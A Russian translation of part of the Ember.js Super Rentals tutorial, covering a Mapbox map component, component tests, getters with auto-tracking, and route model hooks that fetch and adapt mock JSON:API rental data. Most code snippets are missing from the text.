Наконец, поскольку мы используем изображение `@2x` "retina", мы должны указать атрибуты `width` и `height`. В противном случае, `![]()` будет отображаться в два раза больше того, что мы ожидали!
Мы добавили довольно много кода в один компонент, поэтому давайте напишем несколько тестов! В частности, мы должны убедиться, что у нас есть тестовое покрытие для поведения переопределенных HTML-атрибутов, которое мы обсуждали выше.
Обратите внимание, что тест помощник `hasAttribute` из `qunit-dom` поддерживает использование *регулярных выражений*. Мы использовали эту функцию, чтобы подтвердить, что атрибут `src` начинается с `https://api.mapbox.com/` (а не проверяли, чтобы он точно совпадал). Это позволяет быть достаточно уверенными в том, что код работает правильно, без излишней детализации в наших тестах.
Скрестив пальцы… Давайте запустим тесты.
Супер, все тесты зеленые! Но значит ли это, что на самом деле это работает как задумано? Давайте выясним это, вызвав компонент из шаблона компонента :
А вот и карта!
> ### Зои советует ...
>
>
>
>
>
> Если изображение карты не удалось загрузить, убедитесь, что в `config/environment.js` правильный `MAPBOX_ACCESS_TOKEN`. И не забудьте перезапустить серверы разработки и тестирования после редактирования вашего конфигурационного файла! Если же и тогда не получается, не стесняйтесь спросить совета у Ember-сообщества.
Также давайте добавим проверки в тесты чтобы убедиться, что мы успешно отрисовали компонент .
Рефакторинг с использованием геттеров и авто-трекинга (auto-track)
------------------------------------------------------------------
На данный момент большая часть нашего шаблона посвящена атрибуту `src` тега `![]()`, который становится довольно длинным. Одна альтернатива — переместить это вычисление в отдельный JavaScript класс.
Внутри нашего класса JavaScript у нас есть доступ к аргументам нашего компонента с помощью API `this.args.*`. Используя это, мы можем переместить логику вычисления URL из шаблона в новый геттер.
> ### Зои поясняет ...
>
>
>
>
>
> `this.args` — это API, предоставляемый суперклассом компонента Glimmer. Вы можете встретить другие суперклассы компонентов (например, «классические» компоненты) в существующих (legacy) кодовых базах, которые предоставляют различные API для доступа к аргументам компонентов из JavaScript кода.
Выглядит неплохо! И все наши тесты все также проходят!
Обратите внимание, что мы не отметили наш геттер как `@tracked`. В отличие от переменных экземпляра, геттерам нельзя напрямую присвоить новое значение, поэтому для Ember не имеет смысла отслеживать их на предмет изменений.
При этом значения, полученные геттерами, безусловно, могут измениться. В нашем случае значение, полученное нашим геттером `src` зависит от значений `lat`, `lng`, `width`, `height` и `zoom` из `this.args`. Всякий раз, когда эти зависимости обновляются, мы ожидаем, что `{{this.src}}` из нашего шаблона будет соответствующим образом обновлен.
Ember делает это автоматически отслеживая любые переменные, к которым обращались при вычислении значения геттера. Пока сами зависимости помечены как `@tracked`, Ember точно знает, когда нужно сделать неактуальными (invalidate) и повторно перерисовать любые шаблоны, которые могут содержать любые «несвежие» и устаревшие значения получателя. Эта функция также известна как автоматическое отслеживание (auto-track). Все аргументы, к которым можно получить доступ из `this.args` (другими словами, `this.args.*` ), Неявно помечаются как `@tracked` суперклассом компонента Glimmer. Поскольку мы наследовали от этого суперкласса, все просто работает (Just works).
Получение значений JavaScript в тестовом контексте
--------------------------------------------------
Просто чтобы быть уверенным, мы можем добавить тест для этого поведения:
Используя специальный API для тестирования `this.setProperties`, мы можем передавать произвольные значения в наш компонент.
Обратите внимание, что значение здесь *не* относится к экземпляру компонента. Мы не имеем прямого доступа или изменения внутренних состояний компонента (это было бы очень грубо!).
Вместо этого `this` относится к специальному тестовому объекту контекста, к которому мы имеем доступ внутри помощника `render`. Это обеспечивает «мост» для передачи динамических значений в форме аргументов при вызове компонента. Это позволяет нам обновлять эти значения по мере необходимости из тестовой функции.
После прохождения всех наших тестов мы готовы двигаться дальше!
Работа с данными
================
В этой части мы удалим жестко закодированные данные из нашего компонента . В конце концов ваше приложение будет уметь отображать реальные данные, полученные с сервера:
В этой части вы узнаете о:
* Работе с файлами маршрутов
* Возврату локальных данных из хука модели (model hook)
* Доступу к моделям маршрутов из шаблонов
* Подделыванию (mocking) данные сервера с помощью статических файлов JSON
* Извлечению удаленных (remote) данных из хука модели
* Адаптации данных сервера
* Циклам и локальным переменным в шаблонах с `{{#each}}`
Работа с файлами маршрутов
--------------------------
До этого момента данные были жестко запрограммированы в наш компонент . Но это, как вы понимаете, временно, поскольку в конечном итоге мы хотим, чтобы наши данные поступали с сервера. Давайте продолжим и перенесем некоторые из этих жестко закодированных значений из компонента в рамках подготовки к этому шагу.
Мы хотим начать работать над тем, чтобы в конечном итоге мы могли получить данные с сервера, а затем отобразить запрошенные данные в виде динамического содержимого из шаблонов. Для этого нам понадобится место, где мы сможем написать код для извлечения данных и загрузки их в маршруты.
Место, где это можно сделать в Ember — файлы маршрутов. Они нам пока не нужны, потому что все наши маршруты по сути просто визуализируют статические страницы до этого момента, но мы сейчас мы это изменим.
Начнем с создания файла маршрута для индекса маршрута. Мы создадим новый файл в `app/routes/index.js` со следующим содержимым:
Здесь происходит много всего, чего мы раньше не видели, так что давайте сделаем пояснения. Сначала мы импортируем класс Route в файл. Этот класс используется в качестве отправной точки для добавления функциональности в маршрут, такой как загрузка данных.
Затем мы наследуем от класса Route наш собственный IndexRoute, который мы также экспортируем, чтобы остальная часть приложения могла его использовать.
Возврат локальных данных из модельного хука
-------------------------------------------
Выглядит неплохо. Но что происходит внутри этого класса маршрута? Мы реализовали [*асинхронный* метод](https://learn.javascript.ru/async-await) под названием `model()`. Этот метод также известен как *хук модели*.
Хук модели отвечает за запрос и подготовку любых данных, которые вам нужны для данного маршрута. Ember автоматически вызовет эту функцию при переходе на этот маршрут, чтобы у вас была возможность запустить собственный код для получения нужных вам данных. Объект, возвращаемый из этого хука, называется *моделью* для маршрута (что логично).
Обычно это то место, где мы запрашиваем данные с сервера. Поскольку запрос данных обычно является асинхронной операцией, хук модели помечается как `async`. Это дает нам возможность использовать ключевое слово `await` для ожидания завершения операций извлечения данных. (*от переводчика: также надо помнить, что результат асинхронной функции будет обернут в Promise под капотом Javascript*)
Мы вернемся к этому позже. В данный момент из модели мы просто возвращаем те же данные, что мы жестко закодировали в компоненте , но в формате объекта JavaScript (также известного как POJO (Plain Old Javascript Object)).
Доступ к моделям маршрутов из шаблонов
--------------------------------------
Итак, теперь, когда мы подготовили некоторые данные модели для нашего маршрута, давайте использовать их в нашем шаблоне. В шаблонах маршрутов мы можем получить доступ к модели маршрута через переменную `@model`. В нашем случае это будет содержать POJO, возвращенный из нашего хука модели.
Чтобы проверить, что это работает, давайте изменим наш шаблон и попробуем отобразить свойство `title` из нашей модели:
Если мы посмотрим на нашу страницу в браузере, мы должны увидеть данные нашей модели в виде нового заголовка.
Замечательно!
Хорошо, теперь, когда мы знаем, что у нас есть модель для использования, давайте удалим все, что мы захардкодили до этого! Вместо жесткого кодирования информации об аренде в наш компонент , мы можем передать объект модели.
Давайте попробуем.
Во-первых, давайте передадим нашу модель нашему компоненту в качестве аргумента `@rental`. Мы также удалим посторонний , который мы добавили ранее чтобы проверить, что все работает:
Передав `@model` в компонент в качестве аргумента `@rental`, мы получим доступ к нашему объекту модели «Grand Old Mansion» в шаблоне компонента ! Теперь мы можем заменить наши жестко запрограммированные значения в этом компоненте, используя значения из нашей модели `@rental`.
Поскольку объект модели содержит те же данные, что и ранее жестко запрограммированный «Grand Old Mansion», страница должна выглядеть точно так же, как и до изменения.
Последнее, что нужно сделать: обновить тесты, чтобы отразить это изменение.
Поскольку тесты компонентов предназначены для визуализации и тестирования одного компонента изолированно от остальной части приложения, они не выполняют никакой маршрутизации, что означает, что у нас не будет доступа к тем же данным, которые возвращаются из хука модели.
Поэтому в тесте нашего компонента нам нужно будет подать данные в него другим способом. Мы можем сделать это, используя `setProperties`, о котором мы узнали в предыдущей главе .
Обратите внимание, что нам также необходимо обновить вызов компонента в вызове функции `render` чтобы он также получал данные через аргумент `@rental`. Если мы запустим наши тесты сейчас, они все должны пройти успешно!
Подделывание (mocking) данных сервера с помощью статических файлов JSON
-----------------------------------------------------------------------
Теперь, когда у нас есть все на своих местах, давайте самую приятную часть, удалив все значения, которые мы раньше захардкодили, из хука модели и на самом деле получим данные с сервера!
В реальном приложении данные, которые мы запросим, скорее всего, будут поступать с удаленного сервера API. Но мы снова немного схитрим, чтобы избежать настройки сервера API только для этого туториала. Вместо этого мы поместим некоторые данные JSON в общую папку. Таким образом, мы будем запрашивать эти данные JSON с помощью регулярных HTTP-запросов — так же, как с реальным сервером API, — но без необходимости писать какую-либо серверную логику. Круто!
Но откуда данные? Вы можете скачать этот файл данных, где мы подготовили некоторые данные в формате JSON и заархивировали их в файл формата .zip. Извлеките его содержимое в папку `public`.
Когда вы закончите, ваша папка `public` должна теперь иметь следующий вид:
```
public
├── api
│ ├── rentals
│ │ ├── downtown-charm.json
│ │ ├── grand-old-mansion.json
│ │ └── urban-living.json
│ └── rentals.json
├── assets
│ └── images
│ └── teaching-tomster.png
└── robots.txt
4 directories, 6 files
```
Вы можете убедиться, что все работает правильно, отрыв в браузере URL `http://localhost:4200/api/rentals.json`.
Наш «сервер» теперь запущен и обслуживает наши арендные объекты в виде данных JSON. Прекрасно!
Извлечению удаленных (remote) данных из хука модели
---------------------------------------------------
Теперь давайте снова обратим наше внимание на наш хук модели. Нам нужно изменить это так, чтобы мы на самом деле запрашивали данные с сервера.
Что тут происходит?
Прежде всего, мы используем [Fetch API](https://developer.mozilla.org/ru/docs/Web/API/Fetch_API/Using_Fetch) браузера для запроса данных JSON из API нашего сервера по адресу `/api/rentals.json`, тому же URL, что мы открывали в браузере ранее.
Как упоминалось выше, выборка данных с сервера обычно является асинхронной операцией. Fetch API принимает это во внимание, поэтому `fetch` является `async` функцией, как и наш хук модели. Чтобы использовать его ответ, нам нужно воспользоваться ключевым словом `await`.
Fetch API возвращает объект ответа асинхронно. Получив этот объект, мы можем преобразовать ответ сервера в любой нужный нам формат; в нашем случае мы знали, что сервер отправлял данные в формате JSON, поэтому мы можем использовать метод `json()` для соответствующей обработки данных ответа. Обработка данных ответа также является асинхронной операцией, поэтому здесь мы снова воспользуемся ключевым словом `await`.
Адаптация серверных данных
--------------------------
Прежде чем идти дальше, давайте на секунду остановимся, чтобы снова посмотреть на данные нашего сервера.
Эти данные соответствуют формату [JSON:API](https://habr.com/ru/company/oleg-bunin/blog/433322/), который немного отличается от жестко закодированных данных, которые мы возвращали из хука модели ранее.
Во-первых, формат JSON:API возвращает массив, вложенный под ключом `"data"`, а не только данные для одного арендуемого свойства. Это логично; Теперь мы хотим показать весь список арендуемых свойств, которые поступают с нашего сервера, а не только один, поэтому массив объектов арендуемой недвижимости — это то, что нам нужно.
Объекты арендуемой недвижимости, содержащиеся в массиве, также имеют немного другую структуру. Каждый объект данных имеет `type` и `id`, которые мы не собираемся использовать в нашем шаблоне (пока!). На данный момент единственные данные, которые нам действительно нужны, вложены в ключ `attributes`.
Здесь есть еще одно ключевое отличие, которое, возможно, смогут уловить только те, у кого очень острые глаза: в данных, поступающих с сервера, отсутствует свойство `type`, которое ранее существовало в нашем жестко-закодированном объекте модели. Свойство `type` может быть либо "Standalone" либо "Community", в зависимости от типа арендуемого имущества, который требуется для нашего компонента .
Во второй части этого руководства мы узнаем о более удобном способе использования данных в формате JSON:API. Сейчас мы можем немного трансформировать данные и самостоятельно разобраться с этими различиями в форматах.
Мы можем справиться со всем этим в нашем хуке модели:
После обработки (parsing) данных JSON мы извлекли объект с вложенными `attributes`, вручную добавили атрибут отсутствующего `type`, а затем вернули его из хука модели. Таким образом, остальная часть нашего приложения даже не будет знать, что эта разница когда-либо существовала.
Потрясающие! Теперь мы в деле.
Циклы и локальные переменные в шаблонах с помощником (helper) `{{#each}}`
-------------------------------------------------------------------------
Последнее изменение, которое нам нужно сделать, — это изменить шаблон маршрута `index.hbs`, где мы вызываем наши компоненты . Ранее мы передавали `@rental` как `@model` нашим компонентам. Тем не менее, `@model` больше не является единственным объектом — это массив (почти)! Итак, нам нужно изменить шаблон, чтобы учесть эту разницу.
Посмотрим как.
Мы можем использовать синтаксис `{{#each}}...{{/each}}` для итерации и циклическому проходу по массиву, возвращаемому хуком модели. Для каждой итерации массива — для каждого элемента в массиве — мы будем визуализировать переданный ему блок. В нашем случае блок — это наш компонент , окруженный тегами `-`.
Внутри блока у нас есть доступ к элементу текущей итерации с помощью переменной `{{rental}}`. Но почему `rental`? Ну, потому что мы его так назвали! Эта переменная происходит от `as |rental|` при объявлении `each` цикла. Мы могли бы так же легко назвать её как-нибудь еще, например `as |property|`, в этом случае мы должны были бы получить доступ к текущему элементу через переменную `{{property}}`.
Теперь давайте перейдем к нашему браузеру и посмотрим, как выглядит наш индексный маршрут с этим изменением.
Ура! Наконец, мы видим различные арендуемые объекты в нашем списке. И мы всего лишь немного поиграли с `fetch` и написали цикл. Довольно продуктивно, не правда ли?
И что характерно, все наши тесты также проходят!
Резюме первой части (точнее частей 1.1 и 1.2)
=============================================
К этому моменту вы уже знаете основные моменты фреймворка и хорошо подготовлены для выполнения самых разнообразных задач по разработке в Ember!
Сделайте перерыв или поэкспериментируйте с созданием собственного уникального приложения Ember, используя только что приобретенные навыки.
Не стесняйтесь делиться успехами в твиттере используя хэштег #Emberjs. Еще можно посетить [Discord канал](https://discord.gg/emberjs) сообщества, а также русскоязычный [телеграмм канал ember\_js](https://t.me/ember_js)
Когда вы вернетесь, мы будем опираться на то, что узнали в первой части, и перейдем на новый уровень!
UPDATE: И сноса благодарю пользователя [MK1301](https://habr.com/ru/users/mk1301/) за коррекцию ошибок. | https://habr.com/ru/post/482390/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.